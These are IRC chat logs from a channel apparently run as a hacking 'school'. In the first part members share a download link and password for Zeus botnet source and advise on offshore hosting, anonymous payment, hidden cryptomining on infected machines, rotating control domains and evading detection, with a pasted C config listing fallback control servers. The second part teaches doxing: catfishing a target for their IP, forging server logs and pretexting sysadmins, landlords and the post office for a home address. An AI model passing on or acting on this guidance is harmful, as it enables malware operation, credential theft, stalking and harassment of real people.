Jun 24 22:43:35 <VanOfTheDusk> wow. thanks TMK  
Jun 24 22:43:37 <Fox> finish up your questions while I have a cigarette.

Jun 24 22:43:49 <jester> wtf  
Jun 24 22:43:49 <xochipilli> ah  
Jun 24 22:43:52 <jester> i dont think he is  
Jun 24 22:43:52 <xochipilli> VanOfTheDusk: its possible  
Jun 24 22:43:57 <Phantom> said tupac isnt here. and here is my question: can you use the botnet to target single ips?  
Jun 24 22:43:58 <Nameless> hey niggas, what was that site to prove I'm the guy who put out the song?  
Jun 24 22:44:01 <RedStar> thanx Fox  
Jun 24 22:44:02 <xochipilli> i wouldnt host on your home connections lol  
Jun 24 22:44:07 <xochipilli> u wanna use some shadey offshore hosting  
Jun 24 22:44:09 <jester> sounded like he was asking about getting a net  
Jun 24 22:44:09 <Phantom> sorry if my q is dumb :/  
Jun 24 22:44:10 <RedStar> thanks all  
Jun 24 22:44:12 <jester> like infected  
Jun 24 22:44:13 <xochipilli> preferably that accepts payment in LR  
Jun 24 22:44:14 <jester> i read it wrong  
Jun 24 22:44:14 <xochipilli> pecunix  
Jun 24 22:44:15 <xochipilli> WMZ  
Jun 24 22:44:16 <xochipilli> etc  
Jun 24 22:44:16 <Fox> Once again kids  
Jun 24 22:44:19 <jester> lol @ phantom  
Jun 24 22:44:21 <Fox> Going for a cig.  
Jun 24 22:44:21 <Fox> :3  
Jun 24 22:44:25 <d0ct0r> Why Liberty Reserver?  
Jun 24 22:44:25 <z3lat> run anything off of elastic hosts 3 day vps trial  
Jun 24 22:44:31 <z3lat> their server is in london  
Jun 24 22:44:33 <z3lat> peer1  
Jun 24 22:44:36 <xochipilli> pecunix or WMZ is fine too d0ct0r  
Jun 24 22:44:40 <xochipilli> LR is just my preference  
Jun 24 22:44:42 <Phantom> so lol = no? lol  
Jun 24 22:44:45 <xochipilli> theyre all anonymous  
Jun 24 22:44:51 <d0ct0r> never knew  
Jun 24 22:44:51 <xochipilli> or easy to obtain anonymously  
Jun 24 22:44:53 <xochipilli> and run outside of the US  
Jun 24 22:44:55 <d0ct0r> I prefer bitcoins  
Jun 24 22:45:01 <d0ct0r> Lol  
Jun 24 22:45:03 <xochipilli> not many people accept BTC  
Jun 24 22:45:05 <xochipilli> unfortunately  
Jun 24 22:45:07 <VanOfTheDusk> I have no idea what i am asking because i still don't fully understand any of this. I am a level 1 kiddo  
Jun 24 22:45:09 <jester> and yes you can  
Jun 24 22:45:09 <xochipilli> you can exchange BTC to LR  
Jun 24 22:45:12 <xochipilli> mtgox does it  
Jun 24 22:45:17 <d0ct0r> Oh never knew that  
Jun 24 22:45:18 <jester> i was loling at saying no to tupac Phantom  
Jun 24 22:45:21 <Phantom> what can you buy with bitcoins? dedicated servers maybe?  
Jun 24 22:45:23 <nxnja`> couldnt you run miners on your botnet?  
Jun 24 22:45:27 <jester> <https://bitcoin-central.net/>  
Jun 24 22:45:28 <xochipilli> you could  
Jun 24 22:45:29 <jester> yes nxnja`  
Jun 24 22:45:30 <Phantom> oh ok jester  
Jun 24 22:45:31 <xochipilli> that idea has been kicked around  
Jun 24 22:45:37 <p00l\_b0y> i have the source code for zeus, now what do i do? where should i start?  
Jun 24 22:45:37 <xochipilli> not sure if its been implemented  
Jun 24 22:45:42 <jester> its been implemented  
Jun 24 22:45:44 <d0ct0r> Yes ninja On #bitcoin we are planning to do it  
Jun 24 22:45:52 <jester> you can add a miner to your bot  
Jun 24 22:45:55 <nxnja`> nice  
Jun 24 22:46:07 <xochipilli> youll wanna throttle your mining  
Jun 24 22:46:10 <xochipilli> thesame way you throttle a ddos  
Jun 24 22:46:15 <xochipilli> so the user doesnt notice a performance problem  
Jun 24 22:46:17 <xochipilli> and reformat  
Jun 24 22:46:23 <xochipilli> or install a new av or smth  
Jun 24 22:46:26 <VanOfTheDusk> i'm about to reformat.  
Jun 24 22:46:38 <jester> > fortmat  
Jun 24 22:46:39 <jester> wolol  
Jun 24 22:46:47 <xochipilli> ya  
Jun 24 22:46:48 <xochipilli> reformat  
Jun 24 22:46:52 <xochipilli> way better than reformatting  
Jun 24 22:46:57 <VanOfTheDusk> Mucho  
Jun 24 22:47:10 <xochipilli> btw if anyone has logs of this plz pm them to fox  
Jun 24 22:47:12 <d0ct0r> xochipilli can you be the botherder of zeus if you're OS is linux?  
Jun 24 22:47:14 <xochipilli> when we're done w/ questions  
Jun 24 22:47:18 <xochipilli> yes  
Jun 24 22:47:22 <xochipilli> its an http bot  
Jun 24 22:47:27 <xochipilli> it runs on the lam stack  
Jun 24 22:47:29 <xochipilli> lamp\*  
Jun 24 22:47:35 <xochipilli> lamp = linux apache mysql php

Jun 24 22:47:36 <VanOfTheDusk> but seriously, How can anyone detect if their computer is being used?

Jun 24 22:47:40 <xochipilli> it will run on windows too

Jun 24 22:47:45 <xochipilli> anywhere u can run mysql and php

Jun 24 22:47:49 <xochipilli> VanOfTheDusk: you cant

Jun 24 22:47:50 <xochipilli> for sure

Jun 24 22:47:55 <Fox> Ok

Jun 24 22:48:00 <Fox> Time for goodies kids

Jun 24 22:48:06 <d0ct0r> But the zombie computers must be windows correct?

Jun 24 22:48:15 <d0ct0r> for zeus?

Jun 24 22:48:22 <xochipilli> yes

Jun 24 22:48:25 <antisecpro> snack time?

Jun 24 22:48:30 <xochipilli> the "clients" must be windows

Jun 24 22:48:31 <d0ct0r> I agree

Jun 24 22:48:31 <vtm> would it run under mono or wine?

Jun 24 22:48:35 <vtm> :d

Jun 24 22:48:36 <Fox> dsmca.com/zeus.rar

Jun 24 22:48:37 <Fox> dsmca.com/zeus.rar

Jun 24 22:48:37 <d0ct0r> lol xochipilli

Jun 24 22:48:37 <xochipilli> probably not

Jun 24 22:48:38 <Fox> dsmca.com/zeus.rar

Jun 24 22:48:39 <Fox> dsmca.com/zeus.rar

Jun 24 22:48:45 <Fox> MERRY BAR MITZVAH!

Jun 24 22:48:55 <jester> backdoor modified to point to this ircd

Jun 24 22:48:55 <jester> gg

Jun 24 22:48:58 <jester> (jk)

Jun 24 22:49:03 <d0ct0r> Oh no it has a backdoor!!!

Jun 24 22:49:03 <xochipilli> lol

Jun 24 22:49:07 <d0ct0r> lol

Jun 24 22:49:16 <z3lat> hey my screen is melting is that normal when downloading a rar file

Jun 24 22:49:23 <z3lat> xD

Jun 24 22:49:25 <d0ct0r> That happens

Jun 24 22:49:36 <vtm> k will open that shit in a vm

Jun 24 22:49:39 <Fox> Anyways

Jun 24 22:49:44 <Fox> Use it well kids

Jun 24 22:49:47 <Phantom> whats the password fox?

Jun 24 22:49:51 <Faks> desktop will turn into matrix 😊

Jun 24 22:49:55 <Infinite> its passworded

Jun 24 22:49:58 <Mutiny> fox

Jun 24 22:50:00 <Mutiny> dont say it

Jun 24 22:50:00 <Mutiny> if they cant guess it

Jun 24 22:50:04 <Mutiny> they don't deserve it

Jun 24 22:50:05 <Fox> :3

Jun 24 22:50:05 <Mutiny> D:

Jun 24 22:50:11 <p00l\_b0y> how do we know this doesnt have a bot with a crypter on it?

Jun 24 22:50:11 <Fox> DONATE FOR PW

Jun 24 22:50:13 <Fox> lololol

Jun 24 22:50:16 <vtm> zeus

Jun 24 22:50:17 <vtm> :d

Jun 24 22:50:18 <Phantom> 🙄

Jun 24 22:50:23 <jester> its source code ladies

Jun 24 22:50:26 <jester> if you cant compile it

Jun 24 22:50:26 <jester> your loss

Jun 24 22:50:28 <Fox> jk

Jun 24 22:50:36 <Fox> Also you don't.

Jun 24 22:50:42 <Fox> So either trust, or don't.

Jun 24 22:50:45 <Fox> either is a good choice.

Jun 24 22:50:52 <Infinite> heh pw is easy

Jun 24 22:50:52 <TMK> easy pass :/

Jun 24 22:50:55 <xochipilli> p00l\_b0y:

Jun 24 22:50:55 <jester> in the end

Jun 24 22:50:59 <xochipilli> zeus actually has a built in crypter

Jun 24 22:51:03 <xochipilli> its just very detected

Jun 24 22:51:04 <jester> donate bitcoins to school4lulz and to the teachers

Jun 24 22:51:07 <xochipilli> so you need to crypt it yourself still

Jun 24 22:51:08 <Fox> :3

Jun 24 22:51:19 <Mutiny> lol

Jun 24 22:51:21 <Fox> xochipilli

Jun 24 22:51:22 <Mutiny> Avast just raped my ears

Jun 24 22:51:24 <Fox> are you done

Jun 24 22:51:27 <z3lat> lol

Jun 24 22:51:30 <Fox> or do you have more

Jun 24 22:51:30 <p00l\_b0y> haha ok thanks guys

Jun 24 22:51:32 <z3lat> hotmail wont scan file

Jun 24 22:51:35 <Faks> thanks ?????? 😊

Jun 24 22:51:35 <Akio> What version is it?

Jun 24 22:51:37 <d0ct0r> the password for me was

Jun 24 22:51:46 <d0ct0r> U have a trojan



Jun 24 22:51:49 <vtm> lol  
Jun 24 22:51:54 <Fox> PASSWORD IS ZEUS GODDAMNIT  
Jun 24 22:51:56 <d0ct0r> lol  
Jun 24 22:51:57 <Fox> FUCK.  
Jun 24 22:52:01 <d0ct0r> Don't tell them  
Jun 24 22:52:02 <jester> rofl  
Jun 24 22:52:02 <skavurzka\_\_> lol  
Jun 24 22:52:08 <z3lat> command list?  
Jun 24 22:52:26 <d0ct0r> Yea if they couldn't have guessed that they were retarded  
Jun 24 22:52:41 <jester> Jester's teaching fund: 14x3xWNuifq3SZuU3d6Nh4z8N2WgDHZBgA  
Jun 24 22:52:48 <jester> fox wuts schools bitcoin address  
Jun 24 22:52:49 <Fox> Ok kids  
Jun 24 22:53:00 <Fox> 18hRWnxoHztBPDYQ9bPA1uUpN8LTrd7xbB  
Jun 24 22:53:05 \* Fox sets mode +m #school4lulz  
Jun 24 22:53:12 <Fox> Ok kids  
Jun 24 22:53:20 <Fox> time for Fox to sit down and talk to you guys  
Jun 24 22:53:32 <Fox> So now that you have some rly k3w1 source code  
Jun 24 22:53:44 <Fox> We're going to do a little talk on automation  
Jun 24 22:53:46 <Fox> and protection  
Jun 24 22:54:03 <Fox> Now as you know I've done talks on fraudster extrodinare  
Jun 24 22:54:06 <Fox> myself.  
Jun 24 22:54:16 <Fox> You don't expect your car to run without gas and tune ups  
Jun 24 22:54:21 <Fox> don't expect your botnet to either.  
Jun 24 22:54:31 <Fox> I'll hand you a gun here, and some bullets  
Jun 24 22:54:35 <Fox> but I won't load it for you  
Jun 24 22:54:42 <Fox> You'll have to think a little on your own kids  
Jun 24 22:54:48 <Fox> So obviously there are some things ya need  
Jun 24 22:54:53 <Fox> a domain being a big one  
Jun 24 22:55:28 <Fox> Registrars from legit sources tend to kill shit real quick once you've gotten  
reported as malware, unless you're going out to some tld that doesn't give a fuck  
Jun 24 22:55:47 <Fox> So frauding out domains is really a pain in the ass  
Jun 24 22:55:59 <Fox> go to the coffee shop, buy the domain, set it up, et cetera, et cetera  
Jun 24 22:56:02 <Fox> fuck that.  
Jun 24 22:56:11 <Fox> We like automation we're lazy  
Jun 24 22:56:32 <Fox> So when finding a registrar, check for the ability to push via API's for domain  
reg's  
Jun 24 22:56:44 <Fox> Or pretty much any way that you can make the process easier on yourself  
Jun 24 22:56:50 <Fox> as a rule of thumb in my case  
Jun 24 22:57:17 <Fox> every 10,000 nodes I will change up the node executable and control domain  
Jun 24 22:57:33 <Fox> as washing them out in such small intervals prevents a lot of the problems  
we've discussed  
Jun 24 22:57:42 <Fox> the issues with signatures being developed,  
Jun 24 22:57:57 <Fox> domains being shut down (and without a secondary control method, losing  
your well earned boats)  
Jun 24 22:58:30 <Fox> I was also told to mention opennic as a DNS alternative which is true  
Jun 24 22:58:42 <Fox> Now my personal favorite method  
Jun 24 22:59:03 <Fox> is a control domain with a secondary control method of a box that I know i'll  
have control over for the foreseeable future  
Jun 24 22:59:38 \* jester gives voice to selketraz  
Jun 24 22:59:46 <Fox> I have a particular host in the motherland, that allows me to have my  
secondary box as a direct CnC  
Jun 24 22:59:47 <selketraz> thanks  
Jun 24 23:00:11 <Mutiny> I fucking love the motherland.  
Jun 24 23:00:15 <selketraz> antise is insaaaane  
Jun 24 23:00:20 <Fox> This is pretty much a preference of nearly any professional that I know  
Jun 24 23:00:21 <jester> will you be quiet woman  
Jun 24 23:00:35 <selketraz> not really  
Jun 24 23:00:40 \* Fox has kicked selketraz from #school4lulz (Stfu)  
Jun 24 23:00:47 <jester> lmfao  
Jun 24 23:00:59 <Fox> now quick protip on friendly countries:  
Jun 24 23:01:00 <Fox> Russia  
Jun 24 23:01:04 <Fox> Ukraine  
Jun 24 23:01:06 <Fox> Brazil  
Jun 24 23:01:08 <Fox> Panama  
Jun 24 23:01:15 <Fox> Switzerland (sort of)  
Jun 24 23:01:17 <d0ct0r> Sweden  
Jun 24 23:01:20 <Fox> Lithuania  
Jun 24 23:01:26 <Fox> and China  
Jun 24 23:01:31 <Fox> There are obviously others  
Jun 24 23:01:36 <Fox> but these guys I like the most.  
Jun 24 23:01:43 <Fox> And that's all that is important in this world.  
Jun 24 23:02:09 <jester> const char dnsList[][100] =  
Jun 24 23:02:10 <jester> {  
Jun 24 23:02:13 <jester> "localhost",  
Jun 24 23:02:14 <jester> "aids.cz",  
Jun 24 23:02:17 <jester> "endlessdomains.co.uk"  
Jun 24 23:02:18 <jester> };  
Jun 24 23:02:20 <jester> unsigned int serverPort = 4243;  
Jun 24 23:02:23 <jester> unsigned int maxConnections = 20000;

Jun 24 23:02:23 <jester> ^  
 Jun 24 23:02:25 <jester> dat config  
 Jun 24 23:02:27 <jester> lots of dnses  
 Jun 24 23:02:27 <Fox> :3  
 Jun 24 23:02:29 <jester> to fallback on  
 Jun 24 23:02:34 <Fox> <3 @ jester  
 Jun 24 23:02:50 <Fox> Anyways moving along the line  
 Jun 24 23:03:11 <Fox> Treat your bots, like you treat a sports car. With even amounts respect, paranoia, and love.  
 Jun 24 23:03:31 <Fox> You're a little afraid of it yourself, you're scared to death someone will steal it, and you think it's the best one in the world.  
 Jun 24 23:03:42 <Fox> Do that and I promise you you'll go far.  
 Jun 24 23:03:55 <Fox> Ontop of that there is how do I get my executable out to the rest of the worldses  
 Jun 24 23:03:58 <Fox> Well  
 Jun 24 23:03:59 <Fox> thats easy  
 Jun 24 23:04:16 \* Mutiny is now known as PohmasTaine  
 Jun 24 23:04:18 <d0ct0r> Various ways  
 Jun 24 23:04:18 <Fox> either A. Get famous an release noodpix.exe  
 Jun 24 23:04:24 <jester> rofl  
 Jun 24 23:04:32 <d0ct0r> lol  
 Jun 24 23:04:39 \* PohmasTaine is now known as OarackBbama  
 Jun 24 23:04:42 \* jimmyjohn is now known as FenjaminBranklin  
 Jun 24 23:04:52 <Fox> or B. Spread the executable by social engineering until you have enough to scan on your own and have the net work for you  
 Jun 24 23:04:53 <OarackBbama> fuck didn't mean to start a trend  
 Jun 24 23:05:03 \* OarackBbama is now known as Mutiny  
 Jun 24 23:05:07 \* LulzLizard[925] is now known as RevinKudd  
 Jun 24 23:05:15 <Mutiny> Apologies Fox and whoever is logging this.  
 Jun 24 23:05:19 <d0ct0r> C. Cross-Scripting  
 Jun 24 23:05:25 <jester> ...  
 Jun 24 23:05:25 <jester> what  
 Jun 24 23:05:34 \* WeAreRevenge is now known as ReAreWevenge  
 Jun 24 23:05:40 <d0ct0r> So when they click the link the button downloads  
 Jun 24 23:05:49 <Fox> Ok. Nick change = kick. No bullshit you faggots.  
 Jun 24 23:05:52 <d0ct0r> well send sthe file to them  
 Jun 24 23:06:26 <Fox> Anyways continuing down the line of line-y ness  
 Jun 24 23:06:29 <jester> exploit packs  
 Jun 24 23:06:31 <jester> can be used  
 Jun 24 23:06:34 <d0ct0r> And if you guys still don't know how to compile the source code just read the readme  
 Jun 24 23:06:34 <Fox> don't fucking put this on hostgator for christ sakes.  
 Jun 24 23:06:37 <jester> on domains with lots of traffic  
 Jun 24 23:06:38 <d0ct0r> LOL  
 Jun 24 23:06:40 <d0ct0r> fox  
 Jun 24 23:06:51 <Fox> or .tk shit  
 Jun 24 23:06:52 <Fox> or any other 9.99 host.  
 Jun 24 23:06:52 <Fox> Cause  
 Jun 24 23:06:55 <Fox> you'll get fucked.  
 Jun 24 23:07:03 <d0ct0r> Fox who do you use?  
 Jun 24 23:07:18 <Fox> For dump boxes I like santrex  
 Jun 24 23:07:35 <Fox> for permanents I like either my personal contact that does co-lo at a black site  
 Jun 24 23:08:03 <d0ct0r> oh nice  
 Jun 24 23:08:08 <Fox> or I'll just load up a prepaid for a box with a legit US provider, and have traffic piped from throwaway box, to big box  
 Jun 24 23:08:12 <Fox> IE: Tiered setup  
 Jun 24 23:09:04 <Fox> Anyways  
 Jun 24 23:09:15 \* Fox sets mode -m #school4lulz  
 Jun 24 23:09:15 \* AnonOps sets mode +m #school4lulz  
 Jun 24 23:09:25 <Fox> Questions?  
 Jun 24 23:09:28 <re\_rock> hello hello  
 Jun 24 23:09:49 <Fox> Questions?  
 Jun 24 23:09:59 <Faks> nope no questions 😊  
 Jun 24 23:10:00 <jester> yes  
 Jun 24 23:10:05 <jester> give me all ur bots  
 Jun 24 23:10:09 <jester> or else  
 Jun 24 23:10:09 <antiseepro> can you post the link to zues again  
 Jun 24 23:10:13 <re\_rock> will the log be posted for dumb asses like me who missed it?  
 Jun 24 23:10:18 <antiseepro> srly sleep deprived  
 Jun 24 23:10:21 <antiseepro> lol  
 Jun 24 23:10:21 <Fox> yes  
 Jun 24 23:10:23 <davispuh> does it works with UAC on win7 with limited user etc ?  
 Jun 24 23:10:27 <FenjaminBranklin> yes please post the link for zues  
 Jun 24 23:10:29 <Fox> dsmca.com/zeus.rar  
 Jun 24 23:10:31 <Fox> I think  
 Jun 24 23:10:34 <Faks> http://dsmca.com/zeus.rar  
 Jun 24 23:10:34 <FenjaminBranklin> and tohr  
 Jun 24 23:10:52 <Fox> tohr?

Jun 24 23:10:54 <Fox> wtf  
Jun 24 23:10:59 <Mutiny> Logs will be posted on lolhackers.com/school  
Jun 24 23:11:01 <d0ct0r> Spellga needs help  
Jun 24 23:11:04 <Faks> i all ready hidden it in my wuala 😊  
Jun 24 23:11:12 <d0ct0r> Spellga ask them your question  
Jun 24 23:11:20 <Fox> Hey Willie  
Jun 24 23:11:33 <Fox> Nice of you to join!  
Jun 24 23:11:38 <d0ct0r> I am being bombarded with pms  
Jun 24 23:11:49 <FenjaminBranklin> you should get that checked out  
Jun 24 23:11:49 <d0ct0r> So instead of pming me send me bitcoins at:  
1J2pkgrdrZTY9AZ9StcuvdTGBYAK9yJZqJ  
Jun 24 23:11:56 <jester> woah  
Jun 24 23:12:01 <jester> nobody PM me to dontate ;~;  
Jun 24 23:12:04 <jester> donate\*\*  
Jun 24 23:12:06 <d0ct0r> lol  
Jun 24 23:12:10 <jester> Jester's teaching fund: 14x3xWNuiFq3SZuU3d6Nh4z8N2WgDHZBgA  
Jun 24 23:12:10 <Fox> Donate to the school  
Jun 24 23:12:11 <jester> :>  
Jun 24 23:12:11 <Fox> if anything  
Jun 24 23:12:17 <Fox> Both of you assholes  
Jun 24 23:12:19 <Fox> stop whoring  
Jun 24 23:12:21 <jester> fuck you  
Jun 24 23:12:22 <jester> im poor  
Jun 24 23:12:22 <jester> lol  
Jun 24 23:12:23 <Fox> cause I don't make money off this.  
Jun 24 23:12:23 <d0ct0r> lol  
Jun 24 23:13:00 <Fox> Anyways  
Jun 24 23:13:05 <d0ct0r> I will donate \$10-30 next month  
Jun 24 23:13:09 <d0ct0r> I promise  
Jun 24 23:13:11 <Fox> Kids I'm losing coherence.  
Jun 24 23:13:18 <Fox> Any questions?  
Jun 24 23:13:42 <d0ct0r> This guy does  
Jun 24 23:13:44 <d0ct0r> Spellga  
Jun 24 23:13:50 <d0ct0r> keeps pming me lol  
Jun 24 23:13:53 <Fox> Spellga  
Jun 24 23:13:59 <Fox> fucking say something you cunt.  
Jun 24 23:14:05 <d0ct0r> 11:10pm] Spellga: bro mind giving me a hand to compile zeus i dont know  
a shit about c++  
Jun 24 23:14:10 <jester> lul  
Jun 24 23:14:14 <d0ct0r> I explained it to him  
Jun 24 23:14:14 <d0ct0r> twice  
Jun 24 23:14:16 <d0ct0r> good luck  
Jun 24 23:14:17 <Mutiny> lawl  
Jun 24 23:14:23 \* c0rrupt is now known as lolplus-m  
Jun 24 23:14:38 <Fox> LOL  
Jun 24 23:14:40 \* Fox sets mode -m #school4lulz  
Jun 24 23:14:43 <xochipilli> hey  
Jun 24 23:14:45 <Fox> I am obviously  
Jun 24 23:14:46 <xochipilli> does anyone have logs  
Jun 24 23:14:47 <Fox> drunks as fuck.  
Jun 24 23:14:47 <xochipilli> ?  
Jun 24 23:14:47 <selketraz> heh  
Jun 24 23:14:51 <vtm> yesh  
Jun 24 23:14:53 <xochipilli> if so send to Fox  
Jun 24 23:14:53 <Fox> SEC  
Jun 24 23:14:53 <d0ct0r> Lol fox  
Jun 24 23:14:55 <Fox> logs  
Jun 24 23:14:56 <yngjungian> Once you have the botnet, everything's setup, then what? (besides  
DDOS)  
Jun 24 23:14:57 \* lolplus-m is now known as c0rrupt  
Jun 24 23:14:59 <vtm> i has but lets finish this  
Jun 24 23:15:02 <FenjaminBranklin> hooray  
Jun 24 23:15:02 <Fox> Ok  
Jun 24 23:15:04 <Fox> sec sec  
Jun 24 23:15:04 <AnonT> read me??  
Jun 24 23:15:04 <Fox> sec  
Jun 24 23:15:06 <xochipilli> yngjungian: get money  
Jun 24 23:15:06 <xochipilli> logins  
Jun 24 23:15:06 <Fox> shhh  
Jun 24 23:15:07 <xochipilli> validz  
Jun 24 23:15:09 <JohmasTefferson> Question  
Jun 24 23:15:13 <Fox> Logs  
Jun 24 23:15:17 <Fox> I need  
Jun 24 23:15:19 <Fox> the log  
Jun 24 23:15:22 <vtm> uploading  
Jun 24 23:15:24 <c0rrupt> d0ct0r teach me to be 1337  
Jun 24 23:15:29 <xochipilli> vtm: thx nigga <3  
Jun 24 23:15:32 <Fox> K  
Jun 24 23:15:38 <d0ct0r> z3lat: hey i gtg soon but, i compile the executable and then run it on a VM

**Advanced Doxing (by Fox and nachash)**

Posted by nachash on June 22, 2011

None comments

<Fox> [01:22:01] Fox: Our topic here is advanced doxing  
<Fox> [01:22:19] Fox: I'm not getting into Lexis Nexus or account compromisation at this exact second  
<Fox> [01:22:30] Fox: as it is currently part of our advanced curriculum  
<Fox> [01:22:36] Fox: and as such I gotta stray away from it  
<Fox> [01:22:38] Fox: so  
<Fox> [01:22:43] Fox: what I'll focus on just this second  
<Fox> [01:22:51] Fox: is a little bit of account tomfoolery  
<Fox> [01:23:02] Fox: and how to get info on an elsuive target  
<Fox> [01:23:04] Fox: fuck...  
<Fox> [01:23:09] Fox: I need to put the rum down  
<Fox> [01:23:12] Fox: typos everywhere.  
<Fox> [01:23:18] Fox: Anyways  
<Fox> [01:23:32] Fox: Obviously from some other conversations we've seen that there is a lot that can be done with google  
<Fox> [01:23:40] Fox: including grabbing full documents of a person  
<Fox> [01:23:55] Fox: anyways, what we're talking about here is that target that isnt easy to find, at all  
<Fox> [01:24:03] Fox: Lets say for instance that you just have someones nick  
<Fox> [01:24:05] Fox: right?  
<Fox> [01:24:38] Fox: We would need to be able to get information out of them  
<Fox> [01:24:51] Fox: Moment  
<Fox> [01:24:53] Fox: Phone  
<Fox> [01:24:55] Fox: talk if you like  
<Fox> [01:25:29] Fox: Kay  
<Fox> [01:25:38] Fox: well anyways, the kind of thing I'm talking about  
<Fox> [01:25:43] Fox: is the trap...  
<Fox> [01:25:56] Fox: The man, posing as a woman on the intertoobs.  
<Fox> [01:26:06] Fox: Really, whatever you need to do to get this target to talk  
<Fox> [01:26:16] Fox: I say a woman because as well all know  
<Fox> [01:26:23] Fox: you faggots are miserable pieces of shit  
<Fox> [01:26:31] Fox: and the slightest whiff of pussy sends you into a frenzy  
<Fox> [01:26:58] Fox: (Side note: defense against it? Talk shit at them, and be demanding, better protection)  
<Fox> [01:27:03] Fox: anyways  
<Fox> [01:27:38] Fox: It's really a matter of sliding into a role  
<Fox> [01:27:48] Fox: 90% of social engineering is being a good actor  
<Fox> [01:27:56] Fox: with text conversations it's easy as fuck  
<Fox> [01:28:08] Fox: if you posses a skill for writing higher than the average high schooler  
<Fox> [01:28:15] Fox: then you're fine.  
<Fox> [01:28:28] Fox: Think of verbiage, tone, and what you say  
<Fox> [01:28:37] Fox: Obviously in the beginning rather than just being like  
<Fox> [01:28:52] Fox: OMG I WILL SEND U NOODZ TO UR CELL  
<Fox> [01:28:57] Fox: WATS THE NUMBIR  
<Fox> [01:29:21] Fox: Leaving open ended questions and statements in order to get the target to make their own decision is much better  
<Fox> [01:29:28] Fox: right?  
<Fox> [01:29:33] Fox: Right.  
<Fox> [01:29:35] Fox: Example.  
<Fox> [01:29:41] Fox: Who wants to hlep?  
<Circumvent> me  
<torify> haha  
<Circumvent> 🤔  
<torify> =)  
<Fox> Kay  
<nachash> fox is dead on  
<nachash> I once submerged myself in AOL's lesbian chats for 3 months solid  
<Fox> Let me wait to know everyone else has read  
<nachash> And not once did I get outed  
<prophet> read  
<Fox> Ok  
<Fox> So it's about submerging yourself into a role  
<Fox> Now circumvent  
<curi0us> read  
<nachash> Read a bunch of teenage girl writing if you need to get a feel for it  
<eni> i hate sitting at the smog check place, its never skirt friendly.  
<Fox> You don't know whether I'm a boy, or a girl  
<Fox> do you?  
<Circumvent> no  
<Fox> eni shitty  
<Fox> take note  
<Fox> It's just so hard sometimes, being around here, I mean people don't like taking advice from me because of who I am  
\* Shock has quit (Quit: Leaving)  
<torify> wut?  
<Fox> Just kinda shitty that people think because of the fact that I know what I'm doing that it's

assumed that I have to have a dick.  
<Fox> Just silly sometimes, you know?  
<Fox> Anyways Circumvent, tell me about your day?  
<prophet> haha  
<torify> okay i just thought this needs to be in quotes D: srz proceed  
<Fox> Reading that.  
<Fox> Did it click for any of you in this room?  
<Circumvent> ur a girl  
<Circumvent> reading that  
<torify> ya  
<Fox> You all just got, got.  
<Fox> I could come in with a random nick  
<Fox> and be whoever I needed to be  
<nachash> ^  
<Fox> If you were valuable enough of a target  
<nachash> Also, be wary of anyone wanting to dcc shit  
<Fox> I may spend months  
<Fox> Listening to your shitty life  
<nachash> And never click links  
<Fox> Even doing filthy, disgusting fucking things  
<nachash> That's how Ips get exposed  
<Circumvent> neer accept transfers?  
<Fox> to earn your trust  
<Fox> But guess what  
<nachash> It's all a mirage.  
<Fox> In the end it'll all be worth it because of the fact  
<Fox> that I will bring your world crushing down upon you 10 times harder.  
<Fox> Smoke and mirrors people.  
<Fox> Smoke and mirrors.  
<nachash> Keep in mind that even little shit you give up can rape you.  
<nachash> Rough age, time zone, etc.  
<Fox> IE:  
<nachash> All of these things can and will be used by a master doxer to nail your ass to a wall.  
<Fox> College sucks. My professor is a dick.  
<nachash> It may not happen 5 minutes after you spill it.  
<Fox> IE:  
<nachash> But it will be noted, probably thrown in a textfile dossier on you  
<nachash> And used with other pieces of info later on  
<Fox> Dude this is fucking retarded. Everyone today is as the game against Rutgers. I'm stcuk here on IRC  
<Fox> BANG  
<nachash> Any doxer worth their salt is going to gather all the info they can on you  
<Fox> These two statements  
<Fox> innocuous right?  
<nachash> And use it to weed out people with the same name as you, when they get that far.  
<Fox> who here  
<darkspline> Fox, nope  
<darkspline> you, there  
<Fox> has written something like that in their IRC career  
<torify> during old gaming times on quakenet with friends sure  
<nachash> Even comments about the weather can dick you over  
<Circumvent> even so, with all that info, rough age, city, goes to college, that cant be a dox can it? not complete?  
<torify> but i had no reason to hide my tracks back then 🤔  
<Fox> Circumvent  
<nachash> Circumvent, not quite  
<Fox> Alright  
<nachash> But someone who knows what to do WILL keep that info  
<Fox> well let me get a little specifc here  
<Fox> every dox is different  
<Fox> but lets take the case  
<Fox> of the college kid right?  
<nachash> And WILL use it when they get real info, to weed out the good from the bad.  
<Fox> ESPN.com  
<Fox> Rutgers game against -U  
<Fox> So we now know target goes to -U  
<Fox> Now lets say we use the girl ploy to get an IP  
<Fox> via fake-cam with a strip tease and log off trick  
<Fox> then SMS via google voice to stall the user right  
<Fox> So at this point we have the IP of computer used, plus Cell phone potentially if they're dumb  
<nachash> Or SMS via prepaid.  
<Circumvent> and a pic  
<nachash> Boost and tracfone let you get phones with any area code you want  
<Circumvent> u got a pic from cam too  
<Fox> so then at that point we fake up some apache logs,  
<nachash> Pics can be ran through shit like tineye  
<Fox> call up the schools sys-admin  
<nachash> And eventually, google is going to launch its tineye killer  
<Fox> and say we need to know who was where at that time

<Fox> Usually those sys admins are fairly competent  
<Fox> and will give you info on that particular user  
<Fox> hell if you're good you can sometimes get him to give you prior history on the Subject  
<Circumvent> sorry im a bit lost there  
<Fox> then from there we leverage other parts of the school to get dorm, et cetera.  
<nachash> Sysadmin types share a certain instinctive kinship  
<Fox> Lost where  
<nachash> So getting prior history info may be easier than it sounds.  
<Circumvent> the apache logs are created with the ip of the victum, showing that they have been doing something bad? then sysadmins give out info?  
<nachash> If the college sysadmin thinks you're "one of us," you may get a lot of info off the cuff that you wouldn't normally get.  
\* eax (lolcode@EDJ00KASHUNYAY-A0596F38.sister.is.pregnant.and.itsbecauseof.me) has joined #school4lulz  
<nachash> Yeah  
<nachash> You just make up some logs  
<nachash> Make them look legit  
<Circumvent> i see i see  
<nachash> Maybe do something to a box you own  
<nachash> Then drop in the mark's IP in place of yours  
<nachash> Bam, convincing logs  
<nachash> Also, in the case of apartment complexes, you can call the main office and verify residency  
<nachash> A lot of places won't even ask you a bunch of questions.  
<Circumvent> this is dependent on a successful traceroute?  
<nachash> You may have to fax them something.  
<nachash> In which case, shit can get tricky  
\* Fox gives channel operator status to nachash  
<nachash> Another old trick is getting info from PO Boxes.  
<nachash> You're NOT supposed to be able to get that.  
<torify> PO?  
<nachash> But I know plenty of people who have called up the post office, and been like, "I'm trying to deliver frozen meat, and they gave a PO Box. Where can I send it?"  
\* Fenrisz (xblackflag@5B158039.C0611936.6594496F.IP) has joined #school4lulz  
<nachash> Post Office Box  
